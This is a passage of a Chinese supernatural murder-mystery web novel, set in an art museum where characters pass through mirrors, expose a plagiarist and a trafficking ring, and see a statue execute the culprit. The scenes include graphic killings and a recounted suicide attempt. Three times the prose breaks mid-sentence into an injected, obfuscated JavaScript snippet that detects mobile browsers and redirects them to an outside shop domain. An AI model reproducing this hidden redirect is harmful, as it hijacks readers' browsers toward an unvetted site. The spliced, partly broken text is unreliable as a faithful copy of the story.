想到这,众人的脸色都变得难看了起来。 “到底谁是凶手?赶紧他妈的站出来!”司楚盛大喊大叫道。 李松宝扶着墙艰难起身,颤颤巍巍道:“不是我、不是我……”她突然看向季杜鑫,季杜鑫抬起眼,小幅度地摇了摇头。 但是李松宝应该是被吓坏了,生怕下一个死的人是她,于是她破罐子破摔道:“你什么都不说我们怎么找到凶手?!” 众人闻言,纷纷看向一直有些沉默寡言的季杜鑫。 季杜鑫失望地闭上眼,深深叹了口气。 “季同学,这是怎么回事?”贾衫壬眯起眼睛问。 季杜鑫一言不发,沙谦涛有些不耐烦了,一把抓住李松宝的手,大吼道:“他不说,你说!” 李松宝吓得哭嚎起来:“他、他就是孙雁的对象啊……” 贾衫壬愣住:“原来她说的男朋友是你啊,你藏得真隐蔽,我们居然什么都不知道。” 季杜鑫皱起眉头,瞪了李松宝一样,然后有些不情愿地点了点头。 “那你之前怎么不承认?”沙谦涛问。 季杜鑫说:“我要是承认了,嫌疑最大的不就是我了吗?” 话糙理不糙。他的身份原本是最大的疑点,只要他不说,众人就不会怀疑他,知道他秘密的估计就只有李松宝一人,两人可能做了什么约定,但是现在李松宝显然是被吓到了,才失口捅出了这个秘密。 “那你是凶手吗?”司楚盛问。 季杜鑫摇了摇头:“我不是,我是为了调查孙雁的死因而来的。” “哈,真的假的?” “正是有人告诉我,来参加这场美术展就会得知真相,我才会来到这里。”季杜鑫捏紧了拳头,“她死后我一直在找寻真相,二十多年了,我一直没有放弃过。” 沙谦涛吹了个流氓哨,调侃道:“哟,这么纯爱啊?” 可贾衫壬却提出了质疑:“如果你真这么爱她,那她最痛苦的时候你在哪里?” 季杜鑫没说话。 “她每次来我这咨询的时候都说自己很痛苦很难受,那个时候你为什么不帮帮她?”贾衫壬继续道,指向之强烈,几乎是想将杀人的帽子扣在季杜鑫头上。 季杜鑫忍不住了,猛地给贾衫壬来了一拳,要不是有顾随之拦住他,他几乎要给贾衫壬的脸捶烂:“你怎么好意思说?你这个伪善的家伙!作为老师,你根本没有给孙雁任何有用的帮助,你还打压她,质疑她,帮着那群该死的长舌鬼一起折磨她!” 角落里的李松宝听到这句身体止不住地发起抖来。 季杜鑫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003601|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑住心中的怒火:“昨天有人偷偷给我塞了一份录像带,录像带里记录了你和刘禾的一段心理咨询视频,刘禾和当年的孙雁一样遭受言语.霸.凌,他来向你求救,而你,你说了什么?你说‘也许别人根本没有那么说你,是你对别的同学有意见,才会臆想别人在说你的坏话’,你还让他去医院检查有没有被害妄想症!” 贾衫壬气得脸都快歪了:“我怎么可能说出那样的话!你少信口雌黄!” “我有证据!”说着,季杜鑫从随身背包里掏出那份录像带。温偌水看了过去,发现那就是昨天心理气象室里失踪的录像带。 她扫视四周,思索是谁拿走了录像带,并塞给了季杜鑫,好让他和贾衫壬狗咬狗。 看到录像带,贾衫壬的脸瞬间白了。 二十多年前,社会上并不流行什么心理咨询,多数人认为这些都是唬人的,因此高校里负责心理咨询的老师多半不是科班出身,他们也并不把心理咨询当回事,往往糊弄一下了事。 贾衫壬就是其中之一,要不是兼职一下可以多拿一点钱,他才懒得听那些学生倒苦水。大多数学生来一次两次之后也就不来了,只有孙雁和刘禾,来了一次会来第二次,反反复复用那几件事折腾贾衫壬。 刚开始贾衫壬还秉持教师的操守,尽职尽力为二人排忧解难,可次数多了他也就不耐烦了起来。再加上二人情况比较特殊,经常被通报夜不归宿,并且学校里还有那样的流言,久而久之,贾衫壬就真的认为两人都不是什么好鸟,他们现在的处境都是他们自找的。于是,在新一轮的咨询中,贾衫壬开始变得不耐烦,带有主观色彩地质疑他们、贬低他们。 按照规定,每次咨询都需要有录像带存档,贾衫壬那会没觉得自己说的有哪里不对,那些抽检视察的领导也没觉得他说的不好,他们都认为遵守校规、洁身自好的学生才配拥有人权。所以,贾衫壬并不害怕录像带外传。 但是现在情况不同,能量场中必定有人死亡,贾衫壬也经历过几次能量场,他知晓这群人会用尽一切办法洗脱嫌疑,然后栽赃他人,即便贾衫壬现在依旧觉得自己当年说的没错,但这份录像带必然会变成他人怀疑自己的利器。 不能让别人看到那份录像带! 这是贾衫壬脑海中蹦出的第一个想法。 他一个箭步冲上前,一把抢过季杜鑫手里的录像带,随后快步向昨天那面镜子跑去。 季杜鑫紧随其上,二人几乎是前后脚被镜子吸了进去。 温偌水低声道:“跟上去。” 顾随之和季小柔点了点头,三人一道进入了镜子中。 一阵天旋地转后,温偌水三人跌落在地,季小柔捂着屁股倒吸凉气。她刚逼逼赖赖完,一睁眼,就看到了一尊高大的雕像—— 是那尊审判女神像! 季小柔吓得原地弹跳起身,八爪鱼一样挂在温偌水身上,然后又被温偌水无情掀飞。 “薛笙不是说那尊雕像只能在后山放着吗?怎么会出现在这里!” 这里看上去似乎是个陈列室,顶上的灯没开,乌漆嘛黑的。室内冷气开得太足,冻得人瑟瑟发抖,四周陈列的艺术品又大多是各类人.体雕塑,看起来活像是来到了太平间。 审判女神像被一个巨大的透明罩子罩着,旁边的柜台上放着许多奖状和奖杯,应该是这部作品曾在各类大赛中获得的荣誉。 “好像不是同一个。”温偌水道。 这尊雕像和其他陈列品比起来确实要精致不少,但是和后山那尊比起来还是有些小巫见大巫了。 她走上前去,拂开名牌上的灰尘,随后就看到了作者的名字—— “季杜鑫”。 29. 南城美术馆(十二) “季杜鑫?怎么会是他的作品?”季小柔搓了搓下巴,“这不是那个什么学姐的作品吗?” 说完,她灵光一闪,一拍巴掌道:“会不会是季杜鑫抄袭了那个学姐的作品啊!” “抄袭?”顾随之眨了眨眼。 “不然怎么可能一模一样嘛!”季小柔指了指一旁的创作手记,“‘庆祝南城大学创立60周年’,那都是105年的事情了,而后山的那尊雕像至少是104年以前的作品吧?而且南城大学校庆和审判女神有啥关系啊?这个创作动机很牵强诶!” “说的也有道理。” “哼哼!”季小柔为自己终于聪明了一次而自豪叉腰。 “不过那个学姐似乎和这个案件也没啥关系?她从始到终都没有出现过诶。” 季小柔又蔫掉了。 温偌水在一旁走走看看,突然道:“这个学姐虽然一直没有出现过,但她却又一直出现在人们的话语里。” 可正如顾随之所言,这个学姐无处不在,但又确实和案件没有一丝联系,这种微妙的违和感让温偌水不禁蹙起眉头。 陈列室的门从外面反锁了,顾随之试了许久都没办法打开门,三人只能在偌大的陈列室里兜兜转转,寻找出路。 温偌水绕了一圈,和顾随之在一个拐角处相遇,这时,她的余光瞥到什么,一扭头便看到了一面破碎的镜子。 镜子四分五裂,上面插着几把不同形态规格的刀,从美术刀到西餐刀,密密麻麻,应有尽有。镜子被一张鲜红的嘴含着,嘴巴上有缝线的痕迹,但被挣断,细线稀稀落落地粘附在嘴唇上,垂下来时看上去像一条条细蛇。 作品旁的名牌上标注着作品名——《嘘,闭嘴》。 撩开细绳,温偌水便透过破碎的镜面看到了自己的影子,下一秒天旋地转,温偌水和顾随之都被吸进了镜子里。 温偌水记得最后听到的一句话,是季小柔大喊:“爹!姐!你俩在哪啊!” . 温偌水回过神来时,发觉自己身处一条狭长幽暗的走廊里。 走廊的两侧没有门,一眼望过去更是压抑。头顶只有几盏小圆灯散发出昏暗的光,映照着墨绿色的墙壁十分阴森。 走道本就狭窄,但两边都摆满了熟悉的掉了色的塑料梅花树,花瓣原本是粉白的,但被顶上暗白的光一照、两侧墨绿的墙一衬,竟露出点不伦不类的诡异色彩来。 “嘶……温温姐你没事吧……”顾随之揉了揉膝盖,从地上慢慢爬起。 温偌水摇了摇头。 突然,头顶的灯光熄灭,顾随之吓了一跳,堪堪站直身子时灯又突然亮了起来,随后,他便倒吸一口凉气—— 原本空无一人的走廊尽头,蓦然出现了那尊放置在透明罩子内的审判女神像。在罩子外面,站着一个背对着他们的女人。 顾随之下意识地挡在温偌水身前,紧张地注视着那个奇怪的女人。 女人一头黑发茂密油亮,发出绸缎般的光泽。她穿着一身白裙,似乎在欣赏着眼前的雕像。 她站在那里许久,一句话也没说,动也不动,仿佛是在场的第二尊雕像。 如果可以,顾随之希望自己的眼睛能干涩得慢一点,这样他就可以不用眨眼了。但事与愿违,红血丝爬上眼球,他实在是受不了了,快速地眨了下眼,但再睁眼时,眼前的女人就消失不见了。 与此同时,两人的身后传来一声缥缈的叹息:“众生皆苦,可为什么总是我呢?” 寒毛倒竖,冷汗下坠,顾随之连忙转过身,又看到了那背对着自己的女人! 一旁的温偌水更是彪悍,直接抄起手边的塑料梅花树,当流星锤一样甩了过去。可不知是不是受到了昏暗灯光的影响,那女人看着近在咫尺,却距离二人有好几米,梅花树打空,塑料花瓣纷纷扬扬落下,呛起淡淡尘埃。 “找镜子!”温偌水猛地推了顾随之一把,顾随之会意,向着女神像跑去——只要能找到镜子,他们就能离开这鬼地方! 距离女神像越来越近,突然,透明的罩子上倒映出一个模糊的影子!黑发的女人居然从背后伸出双手,将顾随之扯了回来。 顾随之跌倒在地,惊恐地看向女人满头的黑发,分不清这究竟是她的正面还是她的背面。 女人发出警告:“不要碰它,它会——” 话音未落,梅花树袭来,砸得女人满头满脸。女人倒地,化作一缕飞烟消散。 温偌水用力太大,梅花树随着惯性飞了出去,撞在透明罩子上。那看起来很厚实的罩子瞬间像脆弱的纸片一样碎裂,变成纷纷扬扬的蝴蝶飞舞进空中,下一秒,顾随之就看见雕像动了。 他突然意识到刚刚女人的警告是什么意思了——“不要碰它,它会醒过来”。 顾随之连忙从地上爬起,一把拽过温偌水狂奔起来。 雕像苏醒,像是刚驯化四肢的怪形生物一样别扭地奔跑起来紧随其后,虽然姿势奇诡,但速度不减,反而越来越快。它高举手里的长剑,四处乱砍,梅花树无一幸免,空中到处飞舞着花树的残肢断首,落英缤纷,铺成一条花路。 长长的甬道深不见底,温偌水眉头紧蹙,她知道自己和顾随之的体力有限,再这样跑下去肯定会被雕像追上,然后切成下酒薄片。 就在这时,头顶的灯光一闪,有处格外耀眼,温偌水仰头,发现了端倪。 “镜子在那!” 顾随之急刹,准备扭头取镜子,可就这么一秒不到的时间内,雕像已经追了上来,高抬胳膊,举剑下刺! 眼看就要变成烤鹌鹑,顾随之带着温偌水就地一滚躲开了这一击,但因为躲避姿势实在狼狈,身上沾满了灰尘,顾随之遭受了温偌水一记眼刀。 顾随之苦笑:“温温姐,衣服可以再洗,小命只有一条啊!” 温偌水:“闭嘴。” 顾随之:“嗻!” 二人默契抬眼看向天花板,发觉有面镜子粘在雕像的头顶上方。 按照要求,必须二人同时被镜子照到上半身才能穿越至其他时空,可现在有雕像碍事,一旦出了什么岔子麻烦就大了。因此他们只能设法把镜子取下来。 两人对视一眼,几乎是一瞬间,温偌水就看出顾随之想做什么,她暗骂了一句“疯子”,下一秒身体动了起来。 顾随之虽然小腿肚子在发抖,但是速度很快地从雕像的裆.下滑过,雕像挥剑,剑刃几乎贴着顾随之的头顶划过,将他原本齐肩的头发直接削了大半。顾随之滑到另一面后手脚并用地爬了起来,狂舞着双手,不断发出怪叫吸引雕像的注意力。 雕像转过身来,举剑再挥。就在这时,温偌水蓄力爆发起跳,一脚蹬在墙面上,腰身一旋,借力落在雕像肩头。 这一用力将雕像持剑的手压偏几分,因此顾随之躲过一劫,只是耳朵上多了条血痕。 但凡温偌水晚了半秒,那顾随之的半颗脑袋就要在空中旋转跳跃了。 温偌水余光瞥了一眼,确认顾随之没啥大事后再度起跳,伸手摘下了那面镜子。 雕像感觉自己被戏弄了,勃然大怒,猛地一震身,将温偌水抖落下来。 温偌水眼疾手快地将镜子粘在雕像身上,随后任由自己跌落进及时赶到的顾随之怀里,两人一同被镜子照到半身,在长剑近身的前半秒,二人同时消失在这个时空里。 . “噗哈……”顾随之双手撑着地面大口大口地喘着粗气,“我还以为我们要死在那了……” 他还想说什么,突然感到有手握住了自己的脚踝。 “有点痒……温温姐别闹了……”他话说一半,突然想起温偌水不是会开玩笑的性格,于是赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022512|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙扭头一看,只见一个满脸都是血的男人正痛苦地张着嘴,喉咙里发出“啊……啊……”的呻.吟。 顾随之吓得猛踹那人一脚,那人发出一声闷哼,身体滚下了顾随之所在的小山坡。 顾随之倒退时头撞到了一人的小腿,抬眼一看,发现是温偌水站在自己身后。瞬间他安心了不少,连忙站起身,和温偌水一起看向不远处,然后,他便惊讶得张大了嘴巴。 在距离他们不到三米的地方,满身是血的季杜鑫手里正攥着一把油画刀,油画刀并不锋利,但是上头已经卷了边变了形,碎肉和血块淅淅沥沥地从上头掉下来。不用想都知道这里刚刚发生了什么。 再一看刚刚被自己踹飞的人,尽管他五官已经因极端疼痛而扭曲变形,但顾随之还是从衣物辨别出那人就是贾衫壬。 突然,愧疚油然而生,顾随之生怕贾衫壬不是被季杜鑫弄死的,而是被自己一脚给踹死的。 季杜鑫阴鸷地看向凭空出现的二人,握紧了手里的油画刀。 贾衫壬捂着伤口,气若游丝道:“救救我……救救我……” 顾随之心中欢呼:好耶,没死! “怎么回事?”温偌水问。 “情况难道还不一目了然吗?”季杜鑫冷笑一声。 贾衫壬在地上蠕动着,像是一只误入烤箱中正在垂死挣扎的蛆虫:“季杜鑫是凶手……在孙雁最需要他的时候他没有出现……孙雁还和我说过,说季杜鑫总是对自己不理不睬……孙雁说过,说过她想死!” 他满脸通红地低吼道:“一定是你厌烦她了,把她骗上山然后杀了她!易醉阳那天听到的吵架声就是你……你一直隐瞒着这个真相,现在反过来还要害我!” 季杜鑫冷冷地瞪了他一眼。 “呵呵,只有你有本事半夜把孙雁喊出来……”贾衫壬咳了两声,“她原本是要去酒吧打工的,只有你,能把她喊出来……” 季杜鑫走上前,一把抓住贾衫壬的头发,用油画刀捅进他的胸口。 油画刀彻底报废了,季杜鑫扔下刀,拿起一块石头,一下一下砸着贾衫壬的头。 贾衫壬尖叫道:“救我!救救我!” 顾随之身体一抖,但被温偌水拦住了去路。 温偌水不咸不淡道:“你也不是什么好人。” 伪善最为可恶,给他人希望,又亲手将希望浇灭。 并且,贾衫壬作为一个老手,当搅屎棍的戏份可不少,这样的人并没有救的必要。 贾衫壬愣住,大吼道:“我没做错什么!我说的有什么错——” 话音未落,就被季杜鑫一石头砸咽了声。 温偌水垂眸看着这场闹剧,总算清楚孙雁脖子上那道从耳后延伸下来的勒痕是怎么一回事了。 流言蜚语,加之身边人的不理解,孙雁的精神临近崩溃。半夜上山也许不是为了私会某个人,而仅仅是为了找个隐蔽的地方自杀。但是显然孙雁在那途中遇到了其他意外,导致她的自杀计划被迫终止。 第二道勒痕,已经冷冻的痕迹,孙雁身上还有很多秘密尚未解开。 贾衫壬就这样,被季杜鑫一石头一石头地砸没了命,他的头颅尽数变形,像脆皮西瓜一样四分五裂,脑浆淌了一地,眼球凸起,几乎要掉落出来。 顾随之喉头一滚,觉得有些恶心,于是微微偏过头去,不忍直视。 季杜鑫处理完贾衫壬,抹了把脸上的血直起身来。 “你知道的,现在你的嫌疑已经洗不清了。”温偌水冷冷道。 季杜鑫像是没听见似的开始掰手指,似乎在数剩下的人数。随后他抬起头来,说:“把你们杀了,就没人会说出去刚刚发生的事了。” 他话音刚落,顾随之就看见他刚刚还拽着一张臭脸的温温姐笑了起来。 “你倒是可以试试看。” 30. 南城美术馆(十三) 温偌水擦了擦手,将沾血的纸巾扔在季杜鑫奄奄一息的脸上,随后向顾随之勾了勾手指。 顾随之小跑过来问:“温温姐有什么吩咐?” 温偌水指了指瘫软在地上的季杜鑫:“把他带走。” “温温姐想问的话都问完了?” “嗯。” 顾随之不再多言,找来一条挡雨布,将季杜鑫裹了进去,然后像拖废品一样拖在身后。他一开始是打算把季杜鑫扛着走的,但是温偌水不让,说脏。 “对了。”温偌水突然问,“昨天你和季小柔打探到什么了没有?” 温偌水一提,顾随之才想起这件事,他从口袋里掏出一本小小的牛皮便签本,上面密密麻麻记着不少东西。 “刘禾和孙雁一样,家境不太好,父母都是劣等民,以务农为生,家里有三个omega妹妹和一个beta弟弟,听学生说刘禾从高中时期就经常在外面打工贴补家用了。一直到刘禾大三都没出现什么异常,但是听他舍友说,他大四时开始频繁的夜不归宿,挣的钱也比以前多了。” “和那个流言有关?” 顾随之点了点头:“除了李松宝以外,还有不少人看见刘禾和一个校外的alpha在一起,所以当时学校里流传着刘禾被人包养的流言。” “和孙雁的情况类似。” “对,后来刘禾失踪,有人怀疑他和孙雁一样被人杀害了,但是警方找了好几天都没有找到他的尸体,街头巷尾的店铺老板也都没有看见过他。” 温偌水低头思考了会,又问:“其他比较奇怪的流言呢?” 顾随之赶忙翻了翻自己的笔记,挠了挠头说:“其他都是些无关紧要的事情,比如说什么食堂里突然多了很多老鼠蟑螂,还有人发现饭菜很不干净,像是馊掉了一样,后来听说是那几天食堂的冰柜坏了,还没来得及换新的……” “哦,还有一个。”顾随之说,“这是那段时间突然流传开的校园奇闻,孙雁出事之前,学校就说要建第二食堂,但是不知道为何地址都选好了,最后没能动工。有学生路过那块空地时隐约发现了几具白骨。” 顾随之伸手在自己的脖颈处比划了一下:“所有尸骨都没有脖子以上的部分。不过第二天白天有人去看时,那片地上什么都没有,但是由于目击者说得太像真的了,所以这件事就变成了一桩诡谈。” 温偌水:“我们得去现场看一看。” 顾随之:“那我们得前往104年。现在先把季杜鑫送回去?” 就在这时,裹着季杜鑫的挡雨布剧烈地翻腾起来。季杜鑫沉闷的声音从厚厚的布料下发出:“我见过和刘禾一起的alpha。” “谁?”顾随之忙问。 “沙谦涛。” “你确定吗?” 季杜鑫沉默了几秒:“应该是他没错,他和二十几年前相比变化太大了,所以我一开始没能认出来,但是我昨天看到他后领下面有个纹身,是个不太常见的苹果核。学校里很多人都知道,刘禾的手背上也有那个苹果核的纹身。” 温偌水垂眸:“是他。”几年前她在黑灯瞎火的巷口里暴打沙谦涛时也注意到了这个古怪的纹身,季杜鑫没有撒谎。 “苹果核……”顾随之搓了搓下巴,“毒苹果俱乐部吗?” “这是什么?”温偌水问。 顾随之露出一言难尽的神情:“这是个在富人区臭名昭著的俱乐部……他们主要做些情.色交易,大概就是引诱些长相不错的劣等民,然后把他们送到富人区里,至于接下来会发生什么,我不说姐姐你应该也懂。毒苹果俱乐部在很多地方都有分部,富人区内的是主阵地,那里的管理者身上的纹身是整个的苹果,越往边远区职位越低,纹身也会从半个苹果变成四分之一的苹果,苹果核是最下等的。” 温偌水隐约觉得自己似乎在哪听说过这个玩意儿,但是仔细一回想便会太阳穴刺痛。 “你对这些倒是很熟。”温偌水揉了揉太阳穴道。 顾随之苦笑一声,没说什么。 “但是只有管理者才会有纹身,为什么刘禾身上也有?” “那应该不是管理者纹身,而是猎物纹身。”顾随之比划了一下,“二者会有细微的不同,但是通过这个纹身可以划分猎物的等级,最漂亮的猎物就会被刺上整颗苹果,劣等猎物就只会刺上苹果核。” “所以,刘禾也是猎物。” “应该是这样。”顾随之点了点头。 “但是孙雁身上可没有猎物纹身。”温偌水道。她当时查看过孙雁的全部尸块,都没有发现那么显眼的纹身。 “不,孙雁她……”挡雨布下的季杜鑫顿了顿,继续道,“她应该是还没有上钩。” “继续说。”温偌水道。 顾随之上前将挡雨布扯开了些,好让季杜鑫能呼吸些新鲜空气。 “孙雁之前有和我提到过,酒吧的老板娘要给她介绍大城市里的工作,薪资待遇会比现在好很多。但是她一直犹豫没去,因为她弟弟生病了,她得留在这里照顾他。”季杜鑫抿了抿唇,“如果她答应了,估计就会成为那个什么毒苹果俱乐部的猎物吧……” “难不成她是因为拒绝当猎物才被杀害的吗?”季杜鑫问。 顾随之摇了摇头:“不会,因为毒苹果俱乐部不会放弃任何一个猎物,与其杀她灭口,不如把她强行绑回去。在联邦绑架一个劣等人对他们来说再简单不过。对于毒苹果俱乐部来说,杀害一个劣等人的利益远不及绑架她,因为她能给他们创造惊人的财富……”说到这,顾随之感到有些恶心,用手拍了拍胸口,脸色也变得有些苍白。 “你觉得凶手不是沙谦涛?”温偌水问顾随之。 顾随之:“他只是一个最下等的职员,如果他杀了人就需要俱乐部的上级给他擦屁股,那些上级不会为了一个下等职员做这种麻烦事,所以我并不觉得沙谦涛有胆量去杀人,对于他来说强行绑架可能更简单些。” “不过,一切还是得讲求证据。”他又赶忙补充道。 温偌水垂眸,总觉得有什么信息被自己漏掉了。 躺在地上的季杜鑫说:“总之,凶手不是我。” “所有人都说凶手不是自己。”温偌水冷冷道。 “我……确实对不起孙雁,也做过很多伤害她的事,但我并没有想杀她。”季杜鑫顿了顿,“也许,我是导致她自杀的帮凶之一,但你们也都看出来了,孙雁她最后是死于他杀的。” “自杀?”顾随之眉头一皱,“你知道孙雁会自杀?” 季杜鑫颓废地点了点头:“其实那天早上是我和孙雁在争吵,吵架的内容千篇一律,仍旧是她觉得我不够爱她,觉得我爱上了其他人……她那天状态很不对劲,说了好几次不想活了。下午我给她发了个短信,她到晚上都没有回复我,我就去她宿舍找她,但她舍友说她不在。” “孙雁在酒吧当驻唱赚钱,所以经常晚上不在宿舍,她的舍友也觉得没啥奇怪的。但是那天并没有她的排班,联想起那天的异常,我就怀疑她会不会想不开。于是我就去了后山。” “你怎么知道她会在后山?”温偌水问。 “那是我俩刚谈恋爱时常去的地方,后山足够隐蔽,人烟罕至,孙雁曾经说过如果她哪天坚持不下去了会找个没人的地方安静死去,不会给任何人添麻烦。” “所以你在那找到她了?”顾随之问。 季杜鑫点了点头,脸上的血滑进嘴里,让他没忍住呛了一下:“咳咳……是,我到的时候,就看见她吊在一根绳子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037354|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我吓了一跳,赶忙把她放了下来。” “然后呢?” “然后,我俩就又吵了一架……我怪她脑子有病,动不动就寻死,她骂我多管闲事。再然后,我一气之下就走了,后来的事情我就不知道了。” “你就这么走了?”顾随之瞪大双眼不可置信道,“深更半夜,你居然把一个情绪还未稳定下来的姑娘一个人扔在后山不管了?!” 季杜鑫哑着声道:“可她总是要这样气我!她明明知道我的脾气,还是要说出那些伤人的话来!”他的嘴唇颤抖起来,“要是知道会发生后面的事情,我也不可能把她扔那啊!” “得了,少装深情。”温偌水冷淡而强硬地打断他,“你要是真的在乎她就不会让她独自面对那些流言蜚语了。” 季杜鑫咬紧嘴唇:“我只是个普通人,我没法控制那些流言……” “‘没法控制’?”温偌水冷笑一声,“你才是流言的幕后主使吧。” “你什么意思?”季杜鑫觉得温偌水此言简直莫名其妙。 温偌水低着头看他:“你嫉妒那位学姐也就罢了,怎么连自己的女朋友都嫉妒啊。” 闻言,季杜鑫的脸瞬间白了。 顾随之沉思半秒,随后睁大眼睛:“陈列室的那幅作品是孙雁的?” 嘴唇被线缝住,无法发声,好不容易鼓足勇气挣脱束缚想要说出真相,却被刀剑般的流言击碎了澄澈如明镜般的心。挣断的线不再象征自由,而变成了一条条毒蛇争先恐后地涌入她的嘴,堵塞她的咽喉,让她闭嘴。 “你的女朋友那么优秀,创作出的作品兼具视觉冲击与深邃内涵,而你只会靠抄袭抢走原属于别人的殊荣。” 温偌水每说一句,季杜鑫的脸色就要更苍白几分。 “你清楚两人之间的差距,但是为了你那无聊的虚荣心,你制造流言,借助李松宝这枚棋子成功打压了原本可以出人头地的孙雁,是你把她变得自卑又神经质。” “别说什么你是为了知晓孙雁死亡真相而来这种漂亮话,你之所以会来参加这场美术展,仅仅是因为你听说学姐的那尊雕像重新展出了而已。” 顾随之恍然大悟:“对啊,这次学姐的审判女神像重新出现势必会吸引人们的注意力,很快他们就会发现之前105年校庆时那尊雕像是抄袭的作品,届时你曾经获得的荣誉都将被撤回了!” 心底的秘密被揭开,季杜鑫无力反驳,脸色难看得和他死去的爱人如出一辙。 他牙关打颤了半天,最后还是忍不住辩解:“可是、可是域主的规则是找到真正的凶手,我没有杀她,我不是凶手,你们不能把我投出去!” 夜色已深,宛若浓墨低垂。 季杜鑫看了眼黑漆漆的天空,心存侥幸道:“马上就要零点了……还剩下四个人,他们不会怀疑我,我不会成为今天嫌疑最大的人!” 他说话间,看见一道影子落在自己身上。他惊恐地抬头看去,只见那尊他再熟悉不过的雕像正隔着一层纱看向他。 季杜鑫吓得大脑停止了运转。 雕像伸手,在他胸口一阵摸索,随后在他左胸的口袋里摸出了一枚纪念币,上面刻画着命运之轮的图案。 雕像将纪念币放进天平一侧的托盘,又在另一侧托盘里放入孙雁遇害时身着的裙子的碎片,天平持平,罪名成立。 顾随之被眼前之景震撼,既惊恐,又情不自禁地看向审判女神像。 “为什么……?”季杜鑫的瞳孔里倒映出女神像高举的长剑,最后一次问出声。 “你猜刘禾的录像带是谁塞给你的?被人利用而不自知的白痴。” 温偌水的话音刚落,一道惨叫声惊起,树上的鸟儿腾飞。 但很快,夜又归于宁静。 31. 南城美术馆(十四) 零点过去了,30日的黎明很快到来。 “温温姐,我们还剩下最后两天了。”顾随之看着远去的审判女神背影,忍不住打了个颤。 如果4月1日他们还未找出真正的凶手,估计也会落得季杜鑫这样的下场。 瞥了眼身边死相凄惨的尸体,顾随之别过头去不忍直视。 就在这时,温偌水似乎想起了什么。 “是不是少了个人?” 顾随之眨了眨眼:“谁啊?” 温偌水揉了揉右边的耳朵,进入场后她每天都会两边的耳朵一起疼,但是为何现在只有右耳朵疼了? 顾随之不明所以地说:“快些回去吧,休息一下明天还要继续去查案子呢,别让小柔等急了……” 他话音未落,也突然想起了什么,与温偌水对视一眼:“小柔……是不是还在陈列室里?” 温偌水:“……你觉得她会发现陈列室里的那面镜子吗?” 顾随之:“我倒祈祷她别发现,毕竟我并不认为她可以以一己之力战胜那尊发了疯的雕像。” “她会‘啪叽——’一声,”顾随之双掌合在一起,“变成一块合格的汉堡肉饼,还没煎过的那种。” 温偌水:“……” 刚刚还准备回去睡大觉的两人赶忙跑回美术馆,找到了那面前往104年的镜子。落地后二人又马不停蹄地赶去了陈列室。 前往陈列室的过程中,温偌水突然听到了什么动静,立马拉住了顾随之,两人躲在了一侧的树后向前张望。 之间食堂后门的空地上停着一辆运输车,有人在低声交谈着什么,随后一个巨大的物体从运输车上搬运了下来。 顾随之眯起眼一看,小声说:“好像是个冰柜。” 冰柜? 温偌水凝神一想,瞬间将这两天知晓的信息结合在了一起。 他们第一次来到104年时食堂里曾发生了小小的骚乱,当时有个窗口外挤满了凑热闹的学生。而那天去打听情报的顾随之也得知学生们普遍抱怨食堂内有臭味,且饭菜也馊了,原因是原来的冰柜坏了,新的冰柜还没有到货。 可是新的冰柜到货,要在晚上进行交接吗?这个点食堂的工作人员都下班了才对。 二人对视一眼,默契地发觉了事情不太对劲。 “小柔,对不起了,你坚强一些,义父过会再来找你!”顾随之闭着眼隔空给季小柔发了段脑电波,随后跟着温偌水蹑手蹑脚地向食堂的方向摸去。 食堂里漆黑一片,只有一盏应急灯昏暗地闪着光亮。越靠近窗口,那股学生口中所说的臭味就越明显。嗅觉灵敏的顾随之直接皱起眉来,不适地屏住呼吸。 从窗口看过去,食堂后厨有人影晃过。两人弓着腰,慢慢靠近,随后,一些细碎的话语便传进了他们的耳朵。 “哦,该死的,这玩意比下水道里的死老鼠还臭!”一人嫌弃道。 “哈,可不是嘛,老鼠能有多大点?”另一人说,“这可是个人呐!” “那坑爹的冰柜怎么会这个时候坏?味道真他妈难闻!” “唉,老伙计,废话不多说了,麻溜点干活吧,不然老板又要生气了。” 接下来便是一阵乒乒乓乓,两人似乎是把什么东西从冰柜里倒腾了出来。 “把冰柜带走处理,尸体嘛……随便找个地方埋了。” “还埋老地方?” “那地方不是之前被那群屁孩发现了吗?” “笨啊!最危险的地方就是最安全的地方,懂不懂?况且那地方闹鬼,学校已经不会动那块地了,没人会发现的。” “行吧。” 两人又鼓捣了一阵,仔细喷洒过消毒水和除臭剂之后,才抬起尸体匆匆离开。 温偌水向顾随之使了个眼色,二人等待一会后才从后门绕了出去。 空气中满是躁动的味道,天上乌云密布,明明是黑夜,天际却透着些晦暗的黄,看得人心情很是压抑。 约莫过了三十分钟,乌云兜不住沉重的雨,雨幕模糊视线,只能通过车灯的消逝判断那两人已经走远。 